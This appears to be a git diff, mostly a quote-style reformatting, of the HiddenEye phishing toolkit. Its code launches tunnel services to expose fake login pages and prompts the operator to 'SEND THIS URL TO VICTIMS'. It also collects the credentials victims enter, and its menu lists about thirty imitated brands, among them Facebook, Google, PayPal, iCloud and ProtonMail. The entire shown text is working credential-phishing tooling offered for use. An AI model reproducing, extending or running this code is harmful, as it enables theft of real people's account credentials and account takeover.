| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
|
||||
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(
|
||||
default_palette[4]))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
|
||||
.format(default_palette[0], default_palette[2],
|
||||
default_palette[3], port) + url +
|
||||
"{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
print(
|
||||
'''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
print('''
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == '2':
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return start_localxpose(port)
|
||||
|
||||
|
||||
def start_localtunnel(port, npm):
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
|
||||
format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
|
||||
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
|
||||
try:
|
||||
run_command('{0}lt -p '.format('' if npm else 'Server/') +
|
||||
port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
|
||||
run_command("{0}lt -p ".format("" if npm else "Server/") + port +
|
||||
((" -s " + s) if s != "" else s) + " > link.url &")
|
||||
wait(3)
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
|
||||
default_palette[0], default_palette[2], default_palette[3], port,
|
||||
str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r")))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3],
|
||||
port,
|
||||
str(
|
||||
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)).strip("b ' \ n r"),
|
||||
))
|
||||
except CalledProcessError:
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
|
||||
start_localtunnel(port, npm)
|
||||
|
||||
|
||||
def start_openport(port):
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
|
||||
def manage_url(port):
|
||||
run_command('rm output.txt > /dev/null 2>&1')
|
||||
run_command('openport -K && openport %s > output.txt &' % (port))
|
||||
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
wait(20) # Sleep time is important as the openport command takes some time to give response link.
|
||||
run_command("rm output.txt > /dev/null 2>&1")
|
||||
run_command("openport -K && openport %s > output.txt &" % (port))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# Sleep time is important as the openport command takes some time to give response link.
|
||||
wait(20)
|
||||
run_command(
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
with open('openport.txt') as f:
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
|
||||
) # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
with open("openport.txt") as f:
|
||||
read_data = f.read()
|
||||
if 'openport.io/l/' in read_data:
|
||||
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
|
||||
if "openport.io/l/" in read_data:
|
||||
print("{0}[{1}*{0}] {1}Got Activation Link...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
else:
|
||||
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
output = open('output.txt', 'r')
|
||||
print(
|
||||
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
output = open("output.txt", "r")
|
||||
output = output.read()
|
||||
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
|
||||
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
|
||||
default_palette[0], default_palette[4], output))
|
||||
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
server_selection(port)
|
||||
|
||||
urlFile = open('openport.txt', 'r')
|
||||
urlFile = open("openport.txt", "r")
|
||||
urltoverify = urlFile.read().strip()
|
||||
print(
|
||||
'{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4],
|
||||
urltoverify))
|
||||
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
|
||||
default_palette[0], default_palette[4], urltoverify))
|
||||
url = input(
|
||||
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
|
||||
default_palette[0], default_palette[4], default_palette[3], port, url))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
|
||||
.format(default_palette[0], default_palette[4], default_palette[3],
|
||||
port, url))
|
||||
|
||||
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
if 256 == run_command('which openport > /dev/null'):
|
||||
run_command('clear')
|
||||
print('[*] Openport not Installed correctly, Try installing it manually !!')
|
||||
print('[*] Check Here ... https://openport.io/download')
|
||||
input('\n Press Enter To Go back..')
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which openport > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"[*] Openport not Installed correctly, Try installing it manually !!"
|
||||
)
|
||||
print("[*] Check Here ... https://openport.io/download")
|
||||
input("\n Press Enter To Go back..")
|
||||
server_selection(port)
|
||||
else:
|
||||
manage_url(port)
|
||||
|
@ -550,22 +527,24 @@ def start_openport(port):
|
|||
|
||||
def start_pagekite(port):
|
||||
from Defs.ActionManager.simple_informant import credentials_collector
|
||||
run_command('clear')
|
||||
print('''
|
||||
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
if 256 == run_command('which python2 > /dev/null'):
|
||||
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
|
||||
input('\n Press Enter To Try installing Python2 Now..')
|
||||
run_command('apt install python2')
|
||||
if 256 == run_command('which python2 > /dev/null'):
|
||||
run_command('clear')
|
||||
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
|
||||
input("\n Press Enter To Try installing Python2 Now..")
|
||||
run_command("apt install python2")
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
server_selection(port)
|
||||
else:
|
||||
|
@ -573,21 +552,28 @@ def start_pagekite(port):
|
|||
else:
|
||||
try:
|
||||
subdomain = input(
|
||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
run_command(
|
||||
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
|
||||
.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print('[!] Please Copy the Generated Link For Further Use')
|
||||
print("[!] Please Copy the Generated Link For Further Use")
|
||||
credentials_collector(port)
|
||||
|
|
|
@ -4,20 +4,27 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import time
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import remove
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import os
|
||||
import time
|
||||
|
||||
module_loading_message = simple_informant.module_loading_message
|
||||
|
||||
|
||||
def start_main_menu():
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(localization.lang_start_main_menu["version_by_darksec"])
|
||||
print(localization.lang_start_main_menu["short_description"])
|
||||
|
@ -25,406 +32,417 @@ def start_main_menu():
|
|||
print(localization.lang_start_main_menu["down_line"])
|
||||
print(localization.lang_start_main_menu["attack_vector_message"])
|
||||
print(localization.lang_start_main_menu["phishing_modules_header"])
|
||||
|
||||
#phishing_col_width = max(len(word) for row in phishing_modules_list for word in row) + 2
|
||||
#for row in phishing_modules_list:
|
||||
#print("".join(word.ljust(phishing_col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print(localization.lang_start_main_menu["additional_modules"])
|
||||
|
||||
#additional_col_width = max(len(word) for row in additional_modules_list for word in row) + 2
|
||||
#for row in additional_modules_list:
|
||||
#print("".join(word.ljust(additional_col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["additional_modules_list"])
|
||||
|
||||
option = input(global_localization.input_line)
|
||||
option = option.zfill(2)
|
||||
if option == '01':
|
||||
module_loading_message('Facebook')
|
||||
#customOption = input("\nOperation mode:\n {0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
if option == "01":
|
||||
module_loading_message("Facebook")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Facebook', customOption)
|
||||
elif option == '02':
|
||||
module_loading_message('Google')
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Facebook", custom_option)
|
||||
elif option == "02":
|
||||
module_loading_message("Google")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"])
|
||||
#customOption = input(
|
||||
#\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Google', customOption)
|
||||
elif option == '03':
|
||||
module_loading_message('LinkedIn')
|
||||
customOption = ''
|
||||
start_phishing_page('LinkedIn', customOption)
|
||||
elif option == '04':
|
||||
module_loading_message('GitHub')
|
||||
customOption = ''
|
||||
start_phishing_page('GitHub', customOption)
|
||||
elif option == '05':
|
||||
module_loading_message('StackOverflow')
|
||||
customOption = ''
|
||||
start_phishing_page('StackOverflow', customOption)
|
||||
elif option == '06':
|
||||
module_loading_message('WordPress')
|
||||
customOption = ''
|
||||
start_phishing_page('WordPress', customOption)
|
||||
elif option == '07':
|
||||
module_loading_message('Twitter')
|
||||
customOption = ''
|
||||
start_phishing_page('Twitter', customOption)
|
||||
elif option == '08':
|
||||
module_loading_message('Instagram')
|
||||
#customOption = input("\nOperation mode:\n n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["google_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Google", custom_option)
|
||||
elif option == "03":
|
||||
module_loading_message("LinkedIn")
|
||||
custom_option = ""
|
||||
start_phishing_page("LinkedIn", custom_option)
|
||||
elif option == "04":
|
||||
module_loading_message("GitHub")
|
||||
custom_option = ""
|
||||
start_phishing_page("GitHub", custom_option)
|
||||
elif option == "05":
|
||||
module_loading_message("StackOverflow")
|
||||
custom_option = ""
|
||||
start_phishing_page("StackOverflow", custom_option)
|
||||
elif option == "06":
|
||||
module_loading_message("WordPress")
|
||||
custom_option = ""
|
||||
start_phishing_page("WordPress", custom_option)
|
||||
elif option == "07":
|
||||
module_loading_message("Twitter")
|
||||
custom_option = ""
|
||||
start_phishing_page("Twitter", custom_option)
|
||||
elif option == "08":
|
||||
module_loading_message("Instagram")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Instagram', customOption)
|
||||
elif option == '09':
|
||||
module_loading_message('Snapchat')
|
||||
customOption = ''
|
||||
start_phishing_page('Snapchat', customOption)
|
||||
elif option == '10':
|
||||
module_loading_message('Yahoo')
|
||||
customOption = ''
|
||||
start_phishing_page('Yahoo', customOption)
|
||||
elif option == '11':
|
||||
module_loading_message('Twitch')
|
||||
customOption = ''
|
||||
start_phishing_page('Twitch', customOption)
|
||||
elif option == '12':
|
||||
module_loading_message('Microsoft')
|
||||
customOption = ''
|
||||
start_phishing_page('Microsoft', customOption)
|
||||
elif option == '13':
|
||||
module_loading_message('Steam')
|
||||
customOption = ''
|
||||
start_phishing_page('Steam', customOption)
|
||||
elif option == '14':
|
||||
module_loading_message('VK')
|
||||
#customOption = input(
|
||||
# "\nOperation mode:\n
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Instagram", custom_option)
|
||||
elif option == "09":
|
||||
module_loading_message("Snapchat")
|
||||
custom_option = ""
|
||||
start_phishing_page("Snapchat", custom_option)
|
||||
elif option == "10":
|
||||
module_loading_message("Yahoo")
|
||||
custom_option = ""
|
||||
start_phishing_page("Yahoo", custom_option)
|
||||
elif option == "11":
|
||||
module_loading_message("Twitch")
|
||||
custom_option = ""
|
||||
start_phishing_page("Twitch", custom_option)
|
||||
elif option == "12":
|
||||
module_loading_message("Microsoft")
|
||||
custom_option = ""
|
||||
start_phishing_page("Microsoft", custom_option)
|
||||
elif option == "13":
|
||||
module_loading_message("Steam")
|
||||
custom_option = ""
|
||||
start_phishing_page("Steam", custom_option)
|
||||
elif option == "14":
|
||||
module_loading_message("VK")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('VK', customOption)
|
||||
elif option == '15':
|
||||
module_loading_message('iCloud')
|
||||
customOption = ''
|
||||
start_phishing_page('iCloud', customOption)
|
||||
elif option == '16':
|
||||
module_loading_message('GitLab')
|
||||
customOption = ''
|
||||
start_phishing_page('GitLab', customOption)
|
||||
elif option == '17':
|
||||
module_loading_message('NetFlix')
|
||||
customOption = ''
|
||||
start_phishing_page('NetFlix', customOption)
|
||||
elif option == '18':
|
||||
module_loading_message('Origin')
|
||||
customOption = ''
|
||||
start_phishing_page('Origin', customOption)
|
||||
elif option == '19':
|
||||
module_loading_message('Pinterest')
|
||||
customOption = ''
|
||||
start_phishing_page('Pinterest', customOption)
|
||||
elif option == '20':
|
||||
module_loading_message('ProtonMail')
|
||||
customOption = ''
|
||||
start_phishing_page('ProtonMail', customOption)
|
||||
elif option == '21':
|
||||
module_loading_message('Spotify')
|
||||
customOption = ''
|
||||
start_phishing_page('Spotify', customOption)
|
||||
elif option == '22':
|
||||
module_loading_message('Quora')
|
||||
customOption = ''
|
||||
start_phishing_page('Quora', customOption)
|
||||
elif option == '23':
|
||||
module_loading_message('PornHub')
|
||||
customOption = ''
|
||||
start_phishing_page('PornHub', customOption)
|
||||
elif option == '24':
|
||||
module_loading_message('Adobe')
|
||||
customOption = ''
|
||||
start_phishing_page('Adobe', customOption)
|
||||
elif option == '25':
|
||||
module_loading_message('Badoo')
|
||||
customOption = ''
|
||||
start_phishing_page('Badoo', customOption)
|
||||
elif option == '26':
|
||||
module_loading_message('CryptoCurrency')
|
||||
customOption = ''
|
||||
start_phishing_page('CryptoCurrency', customOption)
|
||||
elif option == '27':
|
||||
module_loading_message('DevianArt')
|
||||
customOption = ''
|
||||
start_phishing_page('DevianArt', customOption)
|
||||
elif option == '28':
|
||||
module_loading_message('DropBox')
|
||||
customOption = ''
|
||||
start_phishing_page('DropBox', customOption)
|
||||
elif option == '29':
|
||||
module_loading_message('eBay')
|
||||
customOption = ''
|
||||
start_phishing_page('eBay', customOption)
|
||||
elif option == '30':
|
||||
module_loading_message('MySpace')
|
||||
customOption = ''
|
||||
start_phishing_page('Myspace', customOption)
|
||||
elif option == '31':
|
||||
module_loading_message('PayPal')
|
||||
customOption = ''
|
||||
